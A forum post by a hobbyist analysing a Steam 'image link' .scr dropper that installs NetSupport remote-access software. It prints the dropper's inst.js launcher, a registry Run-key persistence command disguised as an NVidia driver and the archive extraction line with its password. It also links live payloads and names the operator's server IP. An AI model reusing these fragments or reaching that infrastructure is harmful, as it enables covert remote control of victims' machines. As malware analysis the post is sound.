**WARNING: Information contained in this post may result in you infecting yourself with a live piece of MOSTLY UNDETECTED malware!**

**Proceed with caution!!!**

If anyone's used Steam a lot, they've inevitably come across a variation of one of those "Click this image link!" things that redirects you to a fake image hosting site, and downloads a .scr file.

Well, I got curious one day, so decided to investigate.

1.) Scan with virustotal.com

[Virustotal Link](https://www.virustotal.com/en/file/808027e47111b52dac9e164713a4a408bb9f5ffcd814b09c57ed9b74bbab3359/analysis/1439847689/)

Currently undetected by everyone excluding 1 Chinese company. That's a little worrying. Must be something new (Although it's been around for years), or simply polymorphic (More probably)

2.) Submit to malwr.com

[Analysis Link](https://malwr.com/analysis/MTcwNjEwNTMyYjk2NGRiMzgxZThjMzNhMjZkN2QyODE/)

Two main things to note here.

- Connection to www.myflare.com under "Network Analysis"
- 3 dropped files

3.) Investigation!

Dropped file 1

inst.js

> var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run('set.cmd',0);
WSHShell.Run('run.cmd',0);

It runs 2 other files. But where do those come from?

Dropped file 2

down.js

[Pastebin Link](http://pastebin.com/7vAb4rqE) -  **WARNING - Those MyFlare files are live - Take caution!**

Ok - That's a little more significant. It downloads 4 files. set.cmd and run.cmd are then run by the first dropped file - inst.js

Let's examine those

runs.exe - Toss it through ProtectionID and we get this - [Picture](http://i.imgur.com/1zd4rIF.png) - It's the 7zip extractor. That small mystery solved.

Next downloaded file - Simply called "file".

Rename it to a .txt, open with Notepad, and the first 3 characters show "7z¼" - Possibly a 7zip archive. Rename the file to .rar, open with WinRAR, and we get...

[Picture](http://i.imgur.com/76p33Cs.png)

The NVidia Display settings in a compressed passworded file? That's weird. Anyways - Carrying on. The next downloaded file!

run.cmd - Open with notepad, and we get

> reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v "nvxdsync32.exe" /t REG_SZ /d "%APPDATA%\Security\nvxdsync32.exe"

Hmmm - So it seems that NVidia driver is more than it appears... But the archive is passworded. Hopefully the final file will shed some light on matters!

set.cmd

[Pastebin Link](http://pastebin.com/1hQMyz7K)

Ok - Wow. This does a lot of stuff. A line that sticks out is

> "%APPDATA%\runs.exe" x -pferum -y "%APPDATA%\file" -o"%APPDATA%"

Remember "runs" was the renamed 7zip extractor? Well - What do we have here... "-pferum" ? Password of "ferum" ? Test, and....

[Picture](http://i.imgur.com/qEFcRWz.png) - It Extracted - In a hidden folder!

Open it, and... [Picture](http://i.imgur.com/7ORcF8a.png)

...

So where are the rest files?

Well, it seems that set.cmd also plays around with folder permissions a bit... So let's try find them!

[Picture](http://i.imgur.com/EbS8q0n.png) - Yup - There they are!

After a bit of fiddling around - GOT THEM! -
[Picture](http://i.imgur.com/WzAWfYg.png)

So - What's so special about that NVidia config file now... ? Right-Click Properties, and.... That doesn't look right! - [Picture](http://i.imgur.com/C2i3r0s.png)

Do a bit of research on Net Support, and we figure out that it's a piece of Remote Desktop software. Who would've thought!

4.) The End

Now, this is unfortunately where my little adventure ends. For you see, whilst I was able to acquire a trial version of the Net Support software (It's a legitimate piece of software), I was unable to connect to his server, as I was unable to decipher the Gateway key he used.

[Config file - Picture](http://i.imgur.com/Jg0YblC.png)   (Well well Mr Dew of Germany...)

[Vague decryption attempts - Picture](http://i.imgur.com/hrLiZII.png)  - I could input characters and get an encrypted output. I had the output I needed, although I couldn't figure out the input. This is a sample of the input / output.

Unfortunately my Cryptography skills are insufficient, so here the story ends. I am simply one powerless individual, so am unable to do anything about tracking down the server IP - 46.165.206.78 - Currently online as of posting.

I hope you had a good read, maybe learned something, and enjoy the rest of your day!

**UPDATE**

rachaelmac from MyFlare support contacted me, and claimed the files in down.js were removed. They were not.